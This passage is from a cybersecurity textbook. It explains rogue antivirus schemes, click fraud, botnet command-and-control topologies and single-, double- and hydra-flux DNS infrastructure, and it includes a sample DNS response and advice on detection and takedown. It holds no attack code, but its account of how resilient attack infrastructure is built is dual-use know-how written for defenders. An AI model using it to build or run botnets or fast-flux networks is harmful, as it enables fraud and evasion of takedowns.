customers should avoid accessing online banking through mobile 
devices until the platforms implement stronger antiphishing measures 
that are on par with desktop solutions. Some institutions choose to 
implement custom applications for mobile access to online banking, 
which may mitigate this threat when consumers use that as the sole 
mobile access method. Finally, financial institutions should carefully 
consider using mobile devices as two-factor authentication devices, 
given that customers may use the same mobile device to access the 
online banking system.

2.2.2 Rogue Antivirus

During the past year, fake antivirus programs have become dramati-
cally more prevalent and are now a major threat to enterprises and 
home users. Moreover, attackers often bundle this software with 
stealthier malicious programs. Fortunately, in attackers’ attempts to 
get users’ attention, rogue antivirus software also alerts administra-
tors to system compromises and inadvertently exposes other mali-
cious software.

Attackers aggressively target users with Trojan applications that 
claim to be antivirus programs. These rogue antivirus applications, 
once installed, falsely report security issues to mislead victims into 
purchasing a purported “full” version, which can cost each victim 
up to US$89.95. Victims have had little success when contacting the 
payment providers for refund and removal.32 PandaSecurity estimates 
that rogue antivirus applications infect approximately 35 million com-
puters each month and that cyber criminals earn US$34 million each 
month through rogue software attacks.33

“Antivirus XP” and numerous other rogue security applications 
are some of the most prevalent pieces of malicious code that have 
appeared in the first half of 2009 (see Exhibit 2-9). According to Luis 
Corrons of PandaLabs, his company observed a significant growth in 
rogue antivirus applications from January to June 2009, the highest 
being in June 2009 with 152,197 samples.34
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One possible reason for the increase is that pay-per-install and 
affiliate programs encourage more attackers to install such software. 
According to some pay-per-install rogue antivirus sites, affiliate pro-
grams offer an attacker approximately half of the purchase price for 
each victim who buys the software.36 This encourages a diverse group 
of attackers to distribute the software. Though rogue antivirus soft-
ware emerged in 2004, iDefense has observed a huge increase in this 
type of malicious activity between 2007 and 2010.

Although the main goal of the Antivirus XP 2008 program (see 
Exhibit 2-10) is to convince users to purchase fake software, attack-
ers who bundle it with other malicious programs are a major concern 
to enterprises. The noisy nature of rogue antivirus programs can be 
beneficial to organizations who take appropriate actions to remove 
dangerous software that attackers bundle with it. Since the rogue 
antivirus application often changes a user’s background, displays pop-
up windows, modifies search behavior, and displays fake windows and 
security center messages, it often makes its presence repeatedly visible 
to users. This can be a benefit, if system administrators aggressively 
audit infected computers for other malicious programs with which it 
is bundled. iDefense has observed attackers distributing rogue antivi-
rus applications in conjunction with rootkits, banking Trojans, e-mail 
viruses, or other information-stealing Trojans. These include, but are 
not limited to, Zeus and Torpig.

Attackers that install rogue antivirus applications often use social-
engineering techniques to trick victims. To spread, some variants are 
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Exhibit 2-9 Rogue antivirus programs in 2009. Source: http://www.antiphishing.org/reports/
apwg_report_h1_2009.pdf.35
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bundled with mass-mailing capabilities to send URL links or attach-
ments through e-mail messages. Others attempt to perform search 
engine poisoning, either through sponsored links or by promoting 
their search terms associated with recent events. To update their web-
sites with the most common search terms, actors performing search 
engine poisoning bundle their rogue antivirus applications with other 
programs that monitor and collect user search terms. Some instances 
of social-engineering attacks use fake Adobe Flash codecs or other 
themes to trick victims.

Many other examples of rogue antivirus applications install by 
using Web exploit kits. Web exploit kit operators may choose to 
install rogue antivirus applications to make money, or they may allow 
third-party groups to purchase installs. In either case, the operator 
may install multiple different malicious programs.

The business model around rogue security applications encourages 
third parties to distribute code and participate in the revenue stream. 
As a result, there are a variety of different attacks that install rogue 
antivirus applications. No single group is responsible for distributing 
the software because of the shared profits. The use of the pay-per-
install model is a strong motivator for attackers who wish to make 
money from installing software. The huge success of this model of 

Exhibit 2-10 Fake antivirus application displays false threats.
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separation between deployment and exploitation is similar to other 
successful business models like fast-flux and other pay-per-install net-
works. This type of model will guarantee increased activity and new 
actors in the near future.

Due to its shared benefit, many attackers can make additional rev-
enue from installing rogue antivirus applications. These applications 
do not require attackers to alter existing behavior, and they can install 
multiple different programs at the same time. Due to the frequent 
bundling of rogue antivirus applications with other malicious pro-
grams, organizations should evaluate whether the attacker installed 
any other malicious code.

2.2.2.1 Following the Money: Payments Most of the rogue antivirus 
incidents that iDefense investigated use third-party payment orga-
nizations. These organizations accept credit card payments and create 
a layer of protection and security for attackers who use them. These 
payment processors typically use legitimate SSL certificates and claim 
to handle fraud requests and operate on a permanent 24/7 basis. The 
payment processors’ connection with rogue antivirus vendors is not 
exclusive; therefore, law enforcement cannot always shut them down 
immediately. In past instances, iDefense reported the abuse to the 
appropriate certificate authorities. Afterward, authorities were able to 
take the payment processors offline.

In many instances that iDefense investigated, several similar pay-
ment providers exist on the same IP address. The payment providers 
are highly suspicious because they use multiple registration names, 
domains, and contact addresses and countries, despite their singular 
purpose to accept money for rogue antivirus payments.

Several of the payment provider sites do not list a phone number 
unless replying to an authorized customer. They also list in their terms 
of service that they avoid taking responsibility for customer content.

2.2.2.2 Conclusion A large variety of attacks that install rogue anti-
virus applications exists. Many use social engineering because it seems 
somewhat more likely that attackers will be able to convince a victim 
of social engineering to pay for rogue antivirus software. However, 
attackers install it using a variety of other techniques and themes due 
to the pay-per-install model. Organizations that fall victim to rogue 
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antivirus software should evaluate infected computers for bundled 
software that often accompanies the malicious programs and that may 
go unnoticed by victims who attempt to disinfect their computers.

iDefense expects to see continued growth in volume and inno-
vation in the illegal distribution of rogue security applications. The 
number of methods used to distribute the software will continue to 
expand and the number of techniques used to scare users into buying 
the software will increase, possibly including regional variations in 
different languages. Shutting down payment processors is margin-
ally successful over long periods, indicating the illegitimate nature of 
those connected with rogue antivirus applications. Customers who 
are suspicious of third-party payment providers may attempt to view 
secure sockets layer (SSL) certificate registration dates or domain 
registration dates to determine how new the payment provider is and 
whether they can expect them to faithfully handle their payments.

2.2.3 Click Fraud

Having provided revenue for a substantial portion of online activity, 
advertising on the Web has largely been a success for advertisers and 
online companies. Not surprisingly, fraudsters abuse ad networks by 
generating invalid traffic for profit, competitive advantage, or even 
retribution. Advertisers complaining about charges for false traffic 
have made combating click fraud a major issue for online advertisers.

As with most “free” content in other media, advertising funds much 
of the World Wide Web; however, unlike the world of television and 
print ads, it is very easy to become an ad publisher on the Internet. 
The Web is interactive and allows advertisers to know exactly how 
many potential customers viewed an ad and how many clicked the ad. 
This knowledge leads to an advertising model known as pay-per-click 
(PPC), in which advertisers pay ad publishers each time a potential 
customer clicks an ad on the publisher’s website. This direct relation-
ship between the number of clicks and the amount of money earned 
by the publisher has resulted in a form of fraud best known as click 
fraud. Anchor Intelligence reports that in the second quarter of 2009, 
22.9 percent of ad clicks are attempts at click fraud.37 In this section, 
we will look at how criminals make money through click fraud and 
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how compromised computers make preventing this type of activity 
very difficult.

2.2.3.1 Pay-per-Click Any advertising transaction has three primary 
parties: the advertiser, the publisher, and the viewer. The advertiser is 
a company that produces content it would like to display to potential 
customers. This content is an advertisement for a specific product or 
service that is likely to generate revenue for the advertiser. The pub-
lisher is a creative outlet that produces content that will draw visitors 
to its medium. These visitors view the ad and, ideally, purchase the 
advertised product or service. The advertiser pays a fee for a specific 
number of “impressions,” which is the estimated number of times a 
viewer will see the ad. This model is essentially the same across all 
forms of media, including print, radio, and television.

PPC uses the same general model as other forms of advertising, but 
introduces an interactive component. While an especially impressive 
car commercial may entice a television viewer into purchasing a new 
sedan, it is difficult for the advertiser to link a particular ad directly 
to that sale. The Internet makes this possible because when a viewer 
finds an ad compelling, he or she can click it to get more informa-
tion or purchase the product. If, and only if, the viewer clicks on the 
ad, the advertiser will pay the publisher a fee. The direct correlation 
between the viewer’s action and the cost to the advertiser is the pri-
mary distinction between PPC and impression-based advertising.

The ultimate goal for the advertiser is to convert ad clicks to actions 
that generate more revenue than the advertising campaign costs. When 
the viewer takes the desired action, be it signing up for a newsletter 
or purchasing a new car, a conversion has occurred. This conversion 
completes the PPC business model. Exhibit 2-11 shows how money 
flows in this business model.

With the advent of PPC advertising networks like Google 
AdWords and Yahoo! Search Marketing, anybody with a website can 
become an ad publisher. Publishers who use these networks are affili-
ates. Affiliates add HTML code to their website, which draws ads 
from the advertising network and displays them inline with the affili-
ate’s content. The affiliate and the advertising network then split the 
PPC fee each time a viewer clicks an ad.
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2.2.3.2 Click Fraud Motivations Click fraud occurs when an ad net-
work charges an advertiser for a click when there was no opportunity 
for a legitimate conversion. There are many possible motivations for a 
person to click an advertisement without any intention to purchase a 
product or service. Publishers perform the most obvious and common 
form of click fraud. Clicking an ad on one’s own website directly gen-
erates revenue for the publisher. Clicking the ad fifty times generates 
even more revenue.

While a publisher can click his or her own ad, he or she could just 
as easily ask friends to click the ads. For instance, a blogger who wants 
to increase revenue might make a post simply asking his or her read-
ers to click every ad on his or her website each time they visit. While 
they are legitimate users, these clicks will not result in a conversion 
for the advertiser.

An advertiser’s competitor might also be inclined to commit click 
fraud. If each click costs the Acme Corp. money, Acme’s chief rival 
might click the ad a few hundred times a day to cost them as much 
money as possible. In this case, the publisher benefits from the fraud-
ulent clicks, but the motivation is merely to harm the advertiser.

Click
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Publisher Advertiser
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Exhibit 2-11 Pay-per-click business model.
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Competing publishers might also be motivated to commit click 
fraud. Because click fraud has become such a widespread problem, 
most advertising networks work very hard to detect it and will ban 
affiliates suspected of committing click fraud. A competing publisher 
can click ads on a competitor’s website to frame them for click fraud. 
Once detected, the ad network may ban the competitor, which will 
result in an increased share of the advertising revenue for the actual 
click fraudster.

Nonfinancial motivations might also cause a person to commit click 
fraud. If a person disagrees with how Acme Corp. treats its workers, 
they might click Acme ads to cost the company additional money. 
As in the case of clicks from a competitor, the intent is to harm the 
advertisers, but the outcome also benefits the publisher.

2.2.3.3 Click Fraud Tactics and Detection The simplest form of click 
fraud involves manually clicking advertisements through the browser. 
While this method is effective at generating a small number of addi-
tional clicks, fraudsters have developed sophisticated methods to pro-
duce the volume necessary to earn higher revenue.

First, the fraudster must create a website that displays advertise-
ments. A popular way to do this is to create a search engine that only 
displays advertisements relevant to a queried word. One such search 
page uses a very unlikely typo of google.com, gooooooooogle.com. The 
top portion of Exhibit 2-12 shows the results returned when searching 
this page for “puppies,” and the bottom portion shows advertisements 
displayed on Google’s search page when querying for the same word.

All of the results returned by gooooooooogle.com are actually 
advertisements, and many of them are the same ads returned by a 
Google search for the same term. A portion of the fee that advertisers 
pay for each click will go to the owners of gooooooooogle.com.

With the advertisements in place, the fraudster must now find a way 
to click as many of the ads as possible without the ad network noticing 
the abuse. Botnets, the Swiss Army knife of the modern Internet mis-
creant, are the key to a successful click fraud campaign. As the click 
fraud problem grew, ad networks began developing fraud detection 
mechanisms that made simple click fraud impossible. For instance, 
when a single IP address registers multiple clicks in a 30-minute 
period, the ad network may simply discard all but the first click when 
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Figure 2.12 gooooooooogle.com search results for “puppies” (top) and Google search ads for the 
same word (bottom) result in many of the same ads.
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charging the advertisers. Ad networks can also use browser cookies 
to determine when the same user is clicking an ad multiple times. 
Botnets solve these problems for the fraudster because each infected 
computer has a different IP address and a different browser. In 2006, 
Google discovered the Clickbot.A botnet, a click fraud botnet con-
sisting of more than 100,000 nodes.38

While the distributed nature of botnets benefits click fraud, it can 
also be a detriment. Advertisers display many ads only in countries or 
regions in which their ads are relevant. For instance, a U.S.-based res-
taurant chain may not want to advertise to viewers in China or Russia. 
Clicks emanating from IP addresses in countries that should not see 
the ads might indicate click fraud.

Behavior patterns after the fraudster clicks an ad are another way 
in which ad networks and advertisers can detect potential click fraud. 
In the PPC industry, an ad click that does not result in any addi-
tional clicks on the website is a bounce, and the percentage of visi-
tors who exhibit that behavior is the bounce rate. While a poor-quality 
website might have a high bounce rate because visitors do not find it 
interesting, if clicks from a particular publisher have a much higher 
bounce rate than others, it may indicate click fraud.

A click fraud botnet can generate clicks in multiple ways. The bot-
net may simply download a list of key words and visit a random ad 
returned by the query for each word. Another technique is to redirect 
actual searches made by the infected system. When an infected user 
makes a query to a search engine, the malicious software will alter 
the results returned so that clicking them results in an ad click con-
trolled by the fraudster. This technique may be more effective at evad-
ing detection because real users may actually click additional links on 
the page and potentially even purchase products.

2.2.3.4 Conclusions While click fraud appears to be a problem with 
a scope limited to just advertisers and ad networks, fraudsters’ use of 
infected computers to click ad links makes click fraud a problem for 
everyone with a computer. Being part of a click fraud botnet con-
sumes a system’s bandwidth and displays additional advertisements to 
the user, which is usually undesirable.

Companies should be cautious when spending advertising money 
on the Internet and should check which techniques their publishers 
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use to detect and prevent click fraud. Organizations that already 
advertise on the Internet and are concerned that they may be victims 
of click fraud can use the techniques described in this section to detect 
some forms of click fraud. Companies such as Click Forensics39 and 
Anchor Intelligence40 provide third-party solutions to assist in discov-
ering and weeding out invalid ad clicks.

2.3 Threat Infrastructure

2.3.1 Botnets

Systems connected to the Internet are at risk of infection from 
exposure to social-engineering attacks or vulnerability exploitation. 
Regardless of the infection vector, compromised machines can wait 
for commands from the attacker, which turns the system into a bot. 
A bot is a single node added to a network of other infected systems 
called a botnet.

A botnet is a network of infected systems controlled by an adminis-
trator known as a botmaster. A botmaster controls many bots by issuing 
commands throughout the botnet infrastructure. The ability to run com-
mands on many systems makes botnets practical for malware authors 
seeking a management solution and provides multiple capabilities.

Botnets would not be capable of performing any activities without 
communication between the botmaster and bots. The type of com-
munication protocol depends on the network topology of the botnet. 
While botnets use many different topologies, all botnets fall into two 
main categories, centralized and decentralized; however, some botnets 
implement elements from both categories to create a hybrid structure.

A centralized topology receives its name due to the central loca-
tion of the command-and-control (C&C) server(s). The most basic 
form of this topology uses a server to C&C all bots within the bot-
net; however, other more advanced forms of centralized networks 
exist and fall into two subcategories to describe the differences in 
infrastructure. Exhibit 2-13 shows the infrastructures of the differ-
ent centralized botnets.

A multiserver builds on the basic centralized botnet topology by 
using more than one server for C&C. Multiple C&C servers make 
botnets more reliable and less vulnerable to takedown attempts. This 



	 AttACker	teChniques	And	motivAtions	 103

© 2011 by Taylor & Francis Group, LLC

type of topology allows bots to receive commands even if one server 
is unreachable. If a server goes offline, the botmaster can still com-
municate with bots through other C&C servers. The Asprox botnet 
was an example of this type of botnet as it issued a configuration file 
to each bot that included a list of C&C servers.

Another type of centralized topology uses a hierarchical infrastruc-
ture. This type of topology builds on the multiserver technique by 
using layers of servers to proxy communications between the bots and 
C&C servers. This setup promotes reliability and longevity within 
the botnet, as the proxying servers cover the true location of the C&C 
servers. Drawbacks to this configuration include increased infrastruc-
ture complexity and higher network communication latency due to 
the addition of the intermediary proxies. An example of a hierarchi-
cal botnet is Waledac, which has its bots communicate directly with 
repeater nodes that act as proxies. The repeater nodes proxy requests 
to another layer known as transport security layer (TSL) servers (the 
name derives from a registry key added to infected systems) that act as 
C&C servers. If the TSL server cannot handle the request, it passes 
the request upward to the final layer of C&C known as upper-tier 
servers (UTSs).41 This exemplifies the layered structure of a hierarchi-
cal botnet.

Regardless of the type of centralized topology, nodes within the 
botnet need to locate the C&C server before receiving commands. 
Most bots do not listen on ports for commands from the botmaster 

Bot

C&C C&C C&C C&C

BotmasterBotmasterBotmaster
HierarchicalMulti-serverBasic

Bot Bot Bot Bot Bot

Bot Bot Bot

Proxy Proxy

Exhibit 2-13 Centralized botnet infrastructures.
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because administrators can easily detect these unknown listening 
ports and network devices could block inbound connection attempts. 
Instead, bots will initiate communication with the C&C server to 
appear legitimate and bypass network controls.

To allow bots to locate the C&C server, centralized botnets can 
use hardcoded IP addresses. Hardcoded IPs supplied with the mal-
ware inform the bot of the server’s address immediately after infec-
tion; however, this method suffers if the server is unreachable or taken 
down, which renders the bot useless.

Most botnets rely on the domain name system (DNS) and domain 
name lookups for bots to locate the C&C server. To use the DNS, a 
bot queries its name server for the IP addresses that resolve the domain 
name of the C&C server. The DNS allows the botmaster to intro-
duce reliability and resiliency for a server takedown by using multiple 
IP addresses or fast-flux to resolve domain names. A botmaster can 
increase the reliability of a bot locating the server by using multiple 
IP addresses to resolve the domain name. This allows bots to reach a 
C&C server in the event that some IP addresses are unreachable.

To increase resiliency to server takedown attempts, a botnet can use 
fast-flux to cycle IP addresses that resolve a domain name as described 
in the “State of the Hack” article on fast-flux.42 The use of fast-flux 
domains thwarts server takedown attempts, but is still vulnerable to 
domain takedown attempts. Several botnets, such as Conficker and 
Kraken, address this issue by introducing a domain generation algo-
rithm. In essence, bots generate a list of possible domains to use in 
locating the C&C server, and the botmaster registers new domains 
based on this list. This technique thwarts domain takedown efforts, as 
the domain used by the C&C server constantly changes.

The second botnet category, called decentralized, differs dramati-
cally from a centralized configuration. A decentralized botnet does 
not have a particular server or set of servers designated to control 
bots. These advanced botnets use peer-to-peer (P2P) communica-
tions to send commands between bots throughout the botnet. With 
no centralized location, this type of botnet does not use the same 
techniques to locate commands as centralized botnets. A bot must 
locate other peers within the botnet to receive commands by using 
the P2P protocol’s peer discovery mechanisms. This type of bot-
net is very difficult to dismantle without disinfecting each bot but 
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introduces complexity and latency before all bots receive commands. 
Exhibit 2-14 shows a decentralized botnet and exemplifies the com-
plexity and number of communication paths that introduce command 
latency. For example, a version of the Conficker worm incorporated 
P2P communications for C&C. Bots would scan the entire Internet 
for other peers and attempt to share updated binaries with each other 
based on version number.43

Communication within a botnet is crucial, and many botnets use 
Internet Relay Chat (IRC) as a rally point to manage infected machines. 
Typically, IRC botnets allow a botmaster to issue commands to bots 
connected to an IRC channel. For example, the IRC botnet known 
as SDBot used NOTICE, TOPIC, or private message (PRIVMSG) 
commands to control infected machines in an IRC channel.44 In most 
network environments, the occurrence of IRC activity is anomalous 
because they rarely experience legitimate IRC traffic.

Other botnets employ common protocols, such as HTTP, for com-
munication. By using common protocols, botnet communications can 
slide under the radar and blend in with legitimate traffic on a network. 
If the botnet uses HTTP for communication, the bot makes GET 
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Exhibit 2-14 Decentralized botnet architecture.
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or POST requests to a server and the server replies with commands. 
In some cases, the botnet uses a compromised Web server for C&C 
by issuing commands within HTML comments. This further legiti-
mizes the appearance of botnet communications.

In other cases, a botnet uses a custom protocol for communica-
tion. Botnets with a decentralized topology generally adapt a P2P 
protocol to fit their needs. The Storm botnet used a variant of a P2P 
protocol called Kademlia. Storm used this modified version, known 
as Overnet, to discover other peers within the botnet and share com-
mands introduced by the botmaster with other peers.45 Other botnets 
use the port of legitimate services such as HTTPS but provide their 
own communication schemes to circumvent firewalls.

Botnets are very capable at performing malicious deeds for a pro-
longed period. The most obvious capability available through the con-
trol of a large number of infected systems is the capability to carry out 
distributed denial of service (DDoS) attacks. The botmaster can issue 
a command to have bots repeatedly send requests to a server or net-
work. With enough bots and enough requests, the botnet can create a 
denial of service (DoS) condition for the targeted server or network as 
discussed in the “State of the Hack” article on DoS conditions.46

Botmasters can also use their bots to send spam e-mail messages. 
According to recent research, botnets account for 87.9 percent of all 
spam sent on the Internet.47 A botnet can achieve these numbers by 
having each bot send e-mails at a rapid rate, which can result in mil-
lions or billions of e-mails per day. Spam from these systems is dif-
ficult to block due to the number of unique systems and the constant 
addition of new systems.

In addition to using bots to send spam, botmasters can steal sensi-
tive information and credentials from the infected systems within the 
botnet. The botmaster can use sensitive information for identity theft 
or to generate revenue by selling the data on the underground market. 
Stolen credentials allow the botmaster to access user accounts, such as 
online banking, social-networking, and e-mail accounts, which can 
lead to online banking fraud or sensitive information theft.

Botnets also provide a vast resource for hosting by using each bot 
as a server. Botmasters use their botnet as a content delivery network 
(CDN) to host phishing pages and malware on infected systems to 
make server takedown attempts difficult. The vast resources also allow 
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botmasters to provide services to other individuals looking to carry out 
malice. These services allow individuals without available resources to 
perform their desired attacks.

Administrators attempting to detect infected bots within their net-
works need to monitor traffic for botnet communication. Repeated 
anomalous traffic over IRC or nonstandard ports from a system can 
indicate an infected machine participating in a botnet. Detecting bot-
net activity over common ports is more difficult and requires filtering 
out legitimate traffic. To filter out legitimate traffic, the administrator 
needs specific knowledge of the botnet’s communication and how it 
appears while traversing the network. Armed with this knowledge, an 
administrator can create an intrusion detection system (IDS) signa-
ture to detect the botnet communications.

Takedown attempts depend on the botnet’s structure. Generally, 
taking down a centralized botnet requires removing all of the C&C 
servers. By removing all the C&C servers, the botmaster cannot update 
his or her bots with new servers to contact, effectively disabling the 
botnet. A decentralized botnet requires a different approach, as there 
are no specific C&C servers to take down. The overly simplified take-
down approach requires dispatching a cease-and-desist command to 
the peers within the botnet. When an administrator is unable to effect 
a takedown of the control servers, he or she can and should block the 
known IPs and domain names associated with a botnet.

The efficiency of attackers successfully exploiting systems exposed 
a need for a management system for large quantities of infected 
machines. Attackers evolved their malware to set up logical networks 
of compromised systems to create a powerful tool to carry out malice 
and generate revenue. As the security community scrambles to ana-
lyze, track, and attempt to take down botnets, the botmasters con-
tinue to modify their networks to remain one step ahead.

2.3.2 Fast-Flux

This section explains fast-flux attacks, which utilize temporary records 
in the domain name system (DNS) to achieve a distributed network 
of hosts. Resulting in constantly rotating IP addresses, single-flux 
attacks require disabling the DNS server to take down a domain. 
Even more robust, double-flux attacks rotate the IP addresses of both 
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hosts and domain name servers, thereby making takedown even more 
difficult. In addition, fast-flux attacks create a layer of anonymity, fur-
ther frustrating enforcement efforts. This technique is not new, but it 
grew dramatically in popularity within the past two years and is now 
a common occurrence.

Fast-flux is a technique that creates a resilient and balanced net-
work of compromised computers to carry out malicious actions. Fast-
flux utilizes DNS to continually update valid domain names with A 
and NS records that resolve to an ever-changing set of IP addresses. 
Earning the phrase flux, changing the IP addresses within DNS 
records allows a domain name to point to different IP addresses at dif-
ferent times. By changing the resolving IP addresses, domains point 
to the currently active set of infected computers.

Coined as being “fast” due to the speed of IP changes, this tech-
nique employs short time-to-live (TTL) periods to force frequent 
requests to the authoritative name server for IP addresses that resolve 
the domain. Due to a short TTL, clients and caching servers make 
frequent requests to the name server to update the IP addresses asso-
ciated with the domain. Exhibit 2-15 shows a fast-flux domain using 
a short TTL to cycle new A records every 600 seconds.

Fast-flux domains incorporate a collection of bots into a network 
of resolvable servers by command-and-control (C&C) servers known 
as motherships. These motherships have important duties in control-
ling and maintaining fast-flux by issuing commands to bots and add-
ing and removing bot IP addresses from DNS records. By cycling IP 
addresses of infected computers in and out of DNS records, the moth-
ership is able to use active bots to host content and services. The IP 
cycling in DNS records also combats unreachable compromised hosts 
due to routing issues, firewall filtering, and infection remediation, 

;; ANSWER SECTION:
mtno.ru. 600 IN A 98.196.113.58
mtno.ru. 600 IN A 65.102.56.213
mtno.ru. 600 IN A 98.209.249.15
mtno.ru. 600 IN A 68.202.88.12
mtno.ru. 600 IN A 68.92.101.61
mtno.ru. 600 IN A 74.138.219.230

Exhibit 2-15 DNS response showing short time-to-live (TTL).
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and insures a high probability of reaching an active bot. In addition 
to controlling infected computers and maintaining DNS records, 
motherships act as the main servers and respond to client requests. 
Compromised computers act as an intermediary for the mothership by 
accepting and forwarding inbound requests to the fast-flux domain. 
Exhibit 2-16 shows the interaction between a client and the fast-flux 
domain shown in Exhibit 2-15.

Exhibit 2-16 describes a concept known as single-flux, which uti-
lizes static name servers (DNS NS records) to update DNS A records 
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Exhibit 2-16 Victim interaction to fast-flux infrastructure.



110	 Cyber	seCurity	essentiAls

© 2011 by Taylor & Francis Group, LLC

with IP addresses of infected computers and continuously cycle new 
IP addresses. Client requests for a single-flux domain received by 
the domain’s name server are resolved to multiple bots (bots 1–8 
in Exhibit 2-16). All requests to the domain go through infected 
computers to the mothership. Acting similar to a reverse proxy, the 
infected computers receive the mothership’s response to the client’s 
initial request and forward it to the client. Multiple other variations 
of fast-flux currently exist, and all incorporate the same techniques 
with different levels of complexity. Double-flux adds a second layer 
of complexity by cycling IP addresses to name servers, and hydra-
flux introduces multiple motherships.48

Regardless of the type of fast-flux used, domains become attractive 
to malicious actors due to the benefits that a fast-flux domain provides. 
The infected computers form a protective barrier in front of the back-
end servers by cloaking the true origin of the malicious activity. The 
cloaking provided from this barrier allows mothership owners to avoid 
detection and apprehension by authorities. The intermediary bots are 
the only element of the fast-flux system visually exposed during mali-
cious acts. This allows motherships to remain active for long periods. 
The lengthened lifetime of motherships increases the resiliency of the 
entire fast-flux system. The system evades takedown attempts due to 
bots accepting sole responsibility for actions performed by backend 
motherships. Other benefits that fast-flux domains offer include load 
balancing by spreading requests to multiple servers and high avail-
ability to the malicious content.

Attributes of a fast-flux domain render it a viable solution to carry 
out a variety of malicious duties. Phishing campaigns equipped with 
fast-flux domains remain active for long periods and are difficult to 
take offline. Exploit toolkits hosted at these domains attempt to exploit 
vulnerable visitors to install malicious code and ultimately turn the 
victim into a bot used in the fast-flux system. Malicious code distribu-
tion also utilizes fast-flux domains as it allows a centralized location 
for malicious code downloads without exposure. Spam e-mail also 
incorporates fast-flux domains to hide mail servers to lengthen the 
campaign and link to malicious content. Bulletproof hosting takes 
advantage of fast-flux systems due to the high availability of content 
and the lack of a mass-blocking technique. Unlike traditional bullet-
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proof hosting providers with specific IP ranges to block, filtering on 
dispersed IP addresses used in fast-flux domains is futile.

Fast-flux systems are resistant to takedown attempts due to the 
number of systems involved and the anonymity of the true source 
of such systems. In a traditional server takedown, an administrator 
contacts the Internet service provider (ISP) hosting malicious content 
and provides evidence of abuse. The ISP shuts down the server in 
response to the report of illegitimate activity. It is impossible to take 
down a fast-flux system with this traditional process due to the lack 
of a single ISP to contact. As a result, administrators must contact the 
domain registrar and provide evidence of malicious content hosted 
at the domain. The registrar removes access to the fast-flux domain, 
which stops the current activity, but does not stop the fast-flux opera-
tor from registering a new domain name. Adding a new domain name 
begins the cycle over and allows the fast-flux infrastructure to con-
tinue malicious activity.

During the domain takedown procedures, administrators must 
implement safeguards and countermeasures to protect their assets. 
The number of IP addresses resolving the domain and the short turn-
around time renders appliances that block traffic at the network layer 
useless. The best method of blocking traffic to fast-flux domains is to 
black hole the domain at local DNS servers. Black holing the domain 
blocks client requests and stops the communication with the mali-
cious servers. Filtering traffic to known fast-flux domains at local 
Web proxies provides a blocking mechanism for HTTP traffic.

Fast-flux domains allow actors to carry out malicious deeds anon-
ymously and for relatively long periods. These domains continue to 
spread malicious code, send spam, host phishing, and exploit victims, 
and are a danger to any enterprise. Innovative uses of fast-flux con-
tinue to change in the wild and require reactive countermeasures from 
the security community.

2.3.3 Advanced Fast-Flux

Section 2.3.2 described the workings of a basic fast-flux infrastruc-
ture, which uses DNS records to obfuscate the location of malicious 
sites and frustrates takedown efforts. Variants of the fast-flux tech-
nique further complicate tracking and takedown by using multiple 
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domain name servers or even multiple command-and-control (C&C) 
servers, also known as motherships. These advanced fast-flux meth-
ods are known as double-flux and hydra-flux.

The preceding section described fast-flux networks and their gen-
eral structures, uses, and resiliency to take down. The lack of in-depth 
detail regarding the types of fast-flux systems requires a second look. 
The three types of fast-flux existing today are known as single-, dou-
ble-, and hydra-flux. All three types of fast-flux utilize domain name 
system (DNS) record updates, occurring on name servers or with 
domain registrars or both, to conceal the source of malicious activity 
in attempts to evade detection and takedown. This section describes 
advanced fast-flux techniques, how they work, and the additional pro-
tection each variation provides.

Regardless of type, all fast-flux domains involve a botnet infra-
structure that includes one or more C&C servers called motherships 
and infected computers called bots. The mothership is responsible for 
managing the DNS infrastructure associated with the domain, con-
trolling bots, and serving malicious content. Managing the domain 
involves updating the domain registrar and name servers. The regis-
trar receives updates from the mothership in the form of NS records, 
which point to name servers that answer queries for the domain. The 
mothership also updates the configuration file, known as a zone file, on 
these designated name servers with A records that point to bots that 
resolve the domain. The zone file on the name server also includes a 
time-to-live (TTL) value that specifies how many seconds the client 
caches IP addresses for a domain before querying again. To cycle bot 
IP addresses into A records and to bypass caching features, fast-flux 
domains use short TTL values to force clients to frequently query the 
name server for a new set of A records. Bots designated by A records 
receive content requests sent to the domain, and act as reverse proxies 
by sending requests to the mothership and relaying the malicious con-
tent hosted on the mothership back to the original requester. These 
bots provide a layer of protection by obscuring the true source of the 
malicious content and introduce multiple points for takedown.

Exhibit 2-17 shows the protective layers that each type of flux pro-
vide the source of the malicious content or actor. The diagram shows 
single-flux using groups of bots, a single DNS server, and a single 
mothership that provide three layers of protection between victims 
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and the malicious actor or content. The use of a single DNS server is 
a shortcoming in single-flux by presenting a single point on which to 
focus efforts to stop malicious activity. Double-flux addresses this flaw 
by adding multiple DNS servers, which in turn adds another layer of 
protection for a total of four layers. The multiple DNS servers increase 
the complexity of the infrastructure to conceal the content source fur-
ther, but double-flux’s weakness lies in the use of one mothership. 
Once discovered, investigators can take down the single mothership 
to stop malicious activity related to the double-flux domain. Hydra-
flux fixes this vulnerability with an extra layer on top of double-flux 
by implementing multiple motherships. With five layers of protection, 
hydra-flux is the most advanced type of fast-flux and causes hardship 
to those attempting to stop malicious activity. With these layers of 
multiple bots, DNS servers and motherships render server takedown 
procedures ineffective. The best method to cease malicious hydra-flux 
activity requires the domain registrar to suspend the domain name.

Malicious Actor/Content

Mothership N

Mothership 1Mothership 1

DNS Server N

DNS Server 1

Bots

Victims

Single Flux

Double Flux

Hydra Flux

DNS Server 1

Exhibit 2-17 Diagram of the protective layers that flux domains provide.
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The three types of fast-flux utilize similar techniques to set up and 
maintain resilient networks to carry out malicious activity. To imple-
ment single-flux, a domain name is registered and assigned a single 
DNS server to the domain by providing one static NS record to the 
registrar. The mothership adds and removes IP addresses of bots to the 
zone file on the name server assigned during domain registration. As 
a result, the name server responds to a requester’s query to resolve the 
domain with addresses of different bots that subsequently proxy com-
munication between the requester and the mothership. In addition to 
single-flux techniques, double-flux uses the mothership to update the 
domain registrar continuously with NS records to change the name 
servers that answer queries to resolve the domain. Hydra-flux builds 
on double- and single-flux by implementing multiple motherships 
along with multiple DNS servers and infected computers. Adding 
multiple motherships requires updating the configuration on each bot 
with current motherships to forward requests.

In the wild, the Asprox botnet incorporated a hydra-flux infra-
structure to carry out phishing, DDoS, and spam campaigns. The 
left portion of Exhibit 2-18 shows the results of a query for an Asprox 
domain name. Asprox fast-flux domains used 14 infected bots within 
A records, cycling in a new set every 600 seconds, according to the 
TTL value seen in the second column. The authority section shows 
the name servers responsible for answering requests to resolve the 
domain. The right portion of Exhibit 2-18 shows a subsequent request 
to resolve one of the name server domains. The answer shows multiple 
A records with a TTL value of 30 seconds, which exemplifies the use 
of double-flux techniques.

Exhibit 2-19 shows a decoded configuration file sent from a moth-
ership to an infected computer, which updated the bot with current 
